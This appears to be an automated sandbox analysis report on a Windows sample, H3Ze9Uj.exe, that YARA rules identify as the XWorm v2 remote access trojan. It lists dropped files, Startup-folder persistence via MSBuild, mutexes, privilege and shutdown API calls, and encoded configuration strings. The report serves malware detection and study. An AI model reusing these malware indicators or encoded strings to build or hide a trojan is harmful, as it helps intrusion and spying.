Source: C:\Users\user\AppData\Local\Temp\pntqvbaqhxho, type: DROPPED	Matched rule: Finds XWorm v2 samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\yiefm, type: DROPPED	Matched rule: Finds XWorm v2 samples based on characteristic strings Author: Sekoia.io

.NET source code contains very large strings

Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: yiefm.19.dr, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Settings.cs	Long String: Length: 25425

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\65b26c.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{8DD042DC-D97C-4A68-8206-B2A3FD126C5E}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB395.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\65b26e.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\65b26e.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI249F.tmp	Jump to behavior

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

File deleted: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe

Jump to behavior

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D5001D	0_2_00D5001D
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D441EA	0_2_00D441EA
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D262AA	0_2_00D262AA
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D503D5	0_2_00D503D5
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D4C332	0_2_00D4C332
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D5A560	0_2_00D5A560
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D507AA	0_2_00D507AA
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D2A8F1	0_2_00D2A8F1
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D5AA0E	0_2_00D5AA0E
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D4FB89	0_2_00D4FB89
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D50B6F	0_2_00D50B6F
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D52C18	0_2_00D52C18
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D52E47	0_2_00D52E47
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D5EE7C	0_2_00D5EE7C
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D7001D	2_2_00D7001D
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D641EA	2_2_00D641EA
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D462AA	2_2_00D462AA
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D703D5	2_2_00D703D5
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D6C332	2_2_00D6C332
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D7A560	2_2_00D7A560
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D707AA	2_2_00D707AA
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D4A8F1	2_2_00D4A8F1
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D7AA0E	2_2_00D7AA0E
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D6FB89	2_2_00D6FB89
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D70B6F	2_2_00D70B6F
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D72C18	2_2_00D72C18
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D72E47	2_2_00D72E47
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D7EE7C	2_2_00D7EE7C
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6D185C09	2_2_6D185C09
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF99DCC	2_2_6CF99DCC
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6D1EAF6F	2_2_6D1EAF6F
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CFA1F1A	2_2_6CFA1F1A
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF63855	2_2_6CF63855
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6D2DBB02	2_2_6D2DBB02
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6D2E6BAE	2_2_6D2E6BAE
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF7864F	2_2_6CF7864F
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6D089683	2_2_6D089683
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6D08E3BF	2_2_6D08E3BF
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF7B201	2_2_6CF7B201
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF6433C	2_2_6CF6433C
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B11010	3_2_00B11010
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B1818A	3_2_00B1818A
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B1216E	3_2_00B1216E
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B2123E	3_2_00B2123E
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B13243	3_2_00B13243
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B12643	3_2_00B12643
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B207B6	3_2_00B207B6
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B21936	3_2_00B21936
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B22961	3_2_00B22961
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B12A17	3_2_00B12A17
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B20CFA	3_2_00B20CFA
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B12E23	3_2_00B12E23

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: String function: 00D23821 appears 501 times
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: String function: 00D21F13 appears 54 times
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: String function: 00D632F3 appears 83 times
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: String function: 00D60237 appears 683 times
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: String function: 00D60726 appears 34 times
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: String function: 00AE8330 appears 433 times
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: String function: 00AE8370 appears 433 times
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: String function: 00B18750 appears 38 times
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: String function: 00AD25B0 appears 69 times
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: String function: 00AD5AE0 appears 425 times
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: String function: 00D80726 appears 34 times
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: String function: 00D80237 appears 683 times
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: String function: 00D832F3 appears 83 times
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: String function: 6D2D587E appears 93 times
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: String function: 00D43821 appears 501 times
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: String function: 00D41F13 appears 54 times

Source: Vcl60.bpl.2.dr	Static PE information: Resource name: RT_RCDATA type: Hitachi SH big-endian COFF executable, no relocation info, not stripped, 76 sections, symbol offset=0xdb72746c, 909127266 symbols, optional header size 28780, created Tue Jul 14 04:20:16 1970
Source: Vcl60.bpl.3.dr	Static PE information: Resource name: RT_RCDATA type: Hitachi SH big-endian COFF executable, no relocation info, not stripped, 76 sections, symbol offset=0xdb72746c, 909127266 symbols, optional header size 28780, created Tue Jul 14 04:20:16 1970
Source: Toolpatch_dbg.exe.5.dr	Static PE information: Resource name: ZIP type: Zip archive data (empty)
Source: Vcl60.bpl.14.dr	Static PE information: Resource name: RT_RCDATA type: Hitachi SH big-endian COFF executable, no relocation info, not stripped, 76 sections, symbol offset=0xdb72746c, 909127266 symbols, optional header size 28780, created Tue Jul 14 04:20:16 1970
Source: Vcl60.bpl.15.dr	Static PE information: Resource name: RT_RCDATA type: Hitachi SH big-endian COFF executable, no relocation info, not stripped, 76 sections, symbol offset=0xdb72746c, 909127266 symbols, optional header size 28780, created Tue Jul 14 04:20:16 1970

Source: pbomsmc.11.dr	Static PE information: Number of sections : 12 > 10
Source: hkhaelupurucg.5.dr	Static PE information: Number of sections : 12 > 10

Source: H3Ze9Uj.exe, 00000000.00000002.1366245103.0000000000D8D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamechicken.exe8 vs H3Ze9Uj.exe
Source: H3Ze9Uj.exe, 00000002.00000000.1341037942.0000000000DAD000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamechicken.exe8 vs H3Ze9Uj.exe
Source: H3Ze9Uj.exe, 00000002.00000002.1362775152.000000006D315000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamemsvb7.dll^ vs H3Ze9Uj.exe
Source: H3Ze9Uj.exe, 00000002.00000003.1348407953.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewspconfig.dllt& vs H3Ze9Uj.exe

Source: H3Ze9Uj.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP, NET_RUN_FROM_SWAP

Source: 19.2.cmd.exe.57100c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v2 author = Sekoia.io, description = Finds XWorm v2 samples based on characteristic strings, creation_date = 2022-11-07, classification = TLP:CLEAR, version = 1.0, reference = https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/, id = 6cf06f52-0337-415d-8f29-f63d67e228f8
Source: 41.2.cmd.exe.52a00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v2 author = Sekoia.io, description = Finds XWorm v2 samples based on characteristic strings, creation_date = 2022-11-07, classification = TLP:CLEAR, version = 1.0, reference = https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/, id = 6cf06f52-0337-415d-8f29-f63d67e228f8
Source: 19.2.cmd.exe.57100c8.7.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v2 author = Sekoia.io, description = Finds XWorm v2 samples based on characteristic strings, creation_date = 2022-11-07, classification = TLP:CLEAR, version = 1.0, reference = https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/, id = 6cf06f52-0337-415d-8f29-f63d67e228f8
Source: 41.2.cmd.exe.52a00c8.7.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v2 author = Sekoia.io, description = Finds XWorm v2 samples based on characteristic strings, creation_date = 2022-11-07, classification = TLP:CLEAR, version = 1.0, reference = https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/, id = 6cf06f52-0337-415d-8f29-f63d67e228f8
Source: 50.2.MSBuild.exe.950000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v2 author = Sekoia.io, description = Finds XWorm v2 samples based on characteristic strings, creation_date = 2022-11-07, classification = TLP:CLEAR, version = 1.0, reference = https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/, id = 6cf06f52-0337-415d-8f29-f63d67e228f8
Source: C:\Users\user\AppData\Local\Temp\pntqvbaqhxho, type: DROPPED	Matched rule: rat_win_xworm_v2 author = Sekoia.io, description = Finds XWorm v2 samples based on characteristic strings, creation_date = 2022-11-07, classification = TLP:CLEAR, version = 1.0, reference = https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/, id = 6cf06f52-0337-415d-8f29-f63d67e228f8
Source: C:\Users\user\AppData\Local\Temp\yiefm, type: DROPPED	Matched rule: rat_win_xworm_v2 author = Sekoia.io, description = Finds XWorm v2 samples based on characteristic strings, creation_date = 2022-11-07, classification = TLP:CLEAR, version = 1.0, reference = https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/, id = 6cf06f52-0337-415d-8f29-f63d67e228f8

Source: yiefm.19.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: yiefm.19.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: MSBuild.exe.34.dr, TaskParameter.cs	Task registration methods: 'CreateNewTaskItemFrom'
Source: MSBuild.exe.34.dr, OutOfProcTaskHostNode.cs	Task registration methods: 'RegisterTaskObject', 'UnregisterPacketHandler', 'RegisterPacketHandler', 'UnregisterTaskObject', 'GetRegisteredTaskObject'
Source: MSBuild.exe.34.dr, TaskLoader.cs	Task registration methods: 'CreateTask'
Source: MSBuild.exe.34.dr, RegisteredTaskObjectCacheBase.cs	Task registration methods: 'GetLazyCollectionForLifetime', 'RegisterTaskObject', 'DisposeObjects', 'IsCollectionEmptyOrUncreated', 'UnregisterTaskObject', 'DisposeCacheObjects', 'GetRegisteredTaskObject', 'GetCollectionForLifetime'

Source: yiefm.19.dr, Helper.cs	Base64 encoded string: 'PyAIDxYoGV16XFZabBEiJx0IH39YMR8nRhMUEB0hF0Y1F1hDey1SWigRGSpSKxsnWD0cUj5TZDkCPx4DLSEaOSYGSUx0TVx+XFdPZFA5ByYrNmhYHiYZA1oDHREkHU9aEh0APBsJFGtJRmFCRiklHhM9G0lCcVZCYUNfSHFWQ3dH', 'PyAIDxYoGV16XFZabC8bIRYJDTdYPBtSUFR1Q1IYGwhMcENSN0RSU2Q/FywZCVV2SEN/QldKdVg0JgADHCsAXXlBSEpqTEZ4QEhMc0k=', 'PyAIDxYoGV16XFZabDUTLBsIDisLGnRSLxQwHR5vPwcZZDchbypGS3QnQ3otUVNkOQI/HgMtIRo5JgZJT3dPXHxERlIPMCYCPkpaKBEZKlIhHycTHWZSJRI2Fx8qXVdLc1ZCYUdfSXxWS31SNRsiGQAmXVNJc1ZBeQ==', 'PyAIDxYoGV16XFZabBEiJx0IH39YMR8nRhMUEB0hF0Y1F1hDeS1UWigRGSpSKxsnWD0cUj5TZDkCPx4DLSEaOSYGSUx0TVx+XFdPZFA5ByYrNmhYHiYZA1oDHREkHU9aEh0APBsJFGtJRGFCRjcrGhsjF0lLcT1De0pGKSUeEz0bSUx0TFx+', 'PyAIDxYoGV16XFZabCBDfklGNi0WBzdSHkJyJ0R7W0Y7NAgeKiUDGA8RBmBHVU1qS0RvWi0yEDU+Y1IKEy8dUggXBRErUVIMGhQVKR1dfkNRVHRWR3ZBXlR9SlIcEwAbNhFdekFRVHdO', 'PyAIDxYoGV16XFZabBEiLhZdWgcoJ289NVp1TS14UgoTLx1SAhMFWgsrUhdbRjs0CB4qJQMYDxEGYERWT2pJXH5HRlIPMCYCPkpaKBEZKlIhHycTHWZSMB82CxsgHElLcVZEbz8JGC0UF2BDUz91TEpvIQccJQobYERWTmpJ'
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Helper.cs	Base64 encoded string: 'PyAIDxYoGV16XFZabBEiJx0IH39YMR8nRhMUEB0hF0Y1F1hDey1SWigRGSpSKxsnWD0cUj5TZDkCPx4DLSEaOSYGSUx0TVx+XFdPZFA5ByYrNmhYHiYZA1oDHREkHU9aEh0APBsJFGtJRmFCRiklHhM9G0lCcVZCYUNfSHFWQ3dH', 'PyAIDxYoGV16XFZabC8bIRYJDTdYPBtSUFR1Q1IYGwhMcENSN0RSU2Q/FywZCVV2SEN/QldKdVg0JgADHCsAXXlBSEpqTEZ4QEhMc0k=', 'PyAIDxYoGV16XFZabDUTLBsIDisLGnRSLxQwHR5vPwcZZDchbypGS3QnQ3otUVNkOQI/HgMtIRo5JgZJT3dPXHxERlIPMCYCPkpaKBEZKlIhHycTHWZSJRI2Fx8qXVdLc1ZCYUdfSXxWS31SNRsiGQAmXVNJc1ZBeQ==', 'PyAIDxYoGV16XFZabBEiJx0IH39YMR8nRhMUEB0hF0Y1F1hDeS1UWigRGSpSKxsnWD0cUj5TZDkCPx4DLSEaOSYGSUx0TVx+XFdPZFA5ByYrNmhYHiYZA1oDHREkHU9aEh0APBsJFGtJRGFCRjcrGhsjF0lLcT1De0pGKSUeEz0bSUx0TFx+', 'PyAIDxYoGV16XFZabCBDfklGNi0WBzdSHkJyJ0R7W0Y7NAgeKiUDGA8RBmBHVU1qS0RvWi0yEDU+Y1IKEy8dUggXBRErUVIMGhQVKR1dfkNRVHRWR3ZBXlR9SlIcEwAbNhFdekFRVHdO', 'PyAIDxYoGV16XFZabBEiLhZdWgcoJ289NVp1TS14UgoTLx1SAhMFWgsrUhdbRjs0CB4qJQMYDxEGYERWT2pJXH5HRlIPMCYCPkpaKBEZKlIhHycTHWZSMB82CxsgHElLcVZEbz8JGC0UF2BDUz91TEpvIQccJQobYERWTmpJ'

Source: MSBuild.exe.34.dr, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: MSBuild.exe.34.dr, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: MSBuild.exe.34.dr, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: yiefm.19.dr, Helper.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: yiefm.19.dr, Helper.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Helper.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Helper.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, ToolBox.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, ToolBox.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: yiefm.19.dr, ToolBox.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: yiefm.19.dr, ToolBox.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: MSBuild.exe.34.dr, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: MSBuild.exe.34.dr, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.mine.winEXE@100/353@26/22

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D5FE21 FormatMessageW,GetLastError,LocalFree,

0_2_00D5FE21

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D245EE GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,Sleep,InitiateSystemShutdownExW,GetLastError,CloseHandle,		0_2_00D245EE
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D445EE GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,Sleep,InitiateSystemShutdownExW,GetLastError,CloseHandle,		2_2_00D445EE

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D6304F GetModuleHandleA,GetLastError,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CoCreateInstance,ExitProcess,

0_2_00D6304F

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe

Code function: 2_2_6CF66ACF FindResourceW,LoadResource,SizeofResource,LockResource,

2_2_6CF66ACF

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Code function: 0_2_00D46B88 ChangeServiceConfigW,GetLastError,

0_2_00D46B88

Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe

File created: C:\Users\user\AppData\Roaming\Servicewriter

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:744:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5432:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\Yyfh7Gfd7rU7Zs8X
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

File created: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\

Jump to behavior

Source: Yara match	File source: 3.2.TiVoServer.exe.40000000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1391972101.0000000040001000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Servicewriter\Rtl60.bpl, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Rtl60.bpl, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Sprit\Rtl60.bpl, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Patchsystemv3\Rtl60.bpl, type: DROPPED

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: cabinet.dll	0_2_00D21070
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: msi.dll	0_2_00D21070
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: version.dll	0_2_00D21070
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: wininet.dll	0_2_00D21070
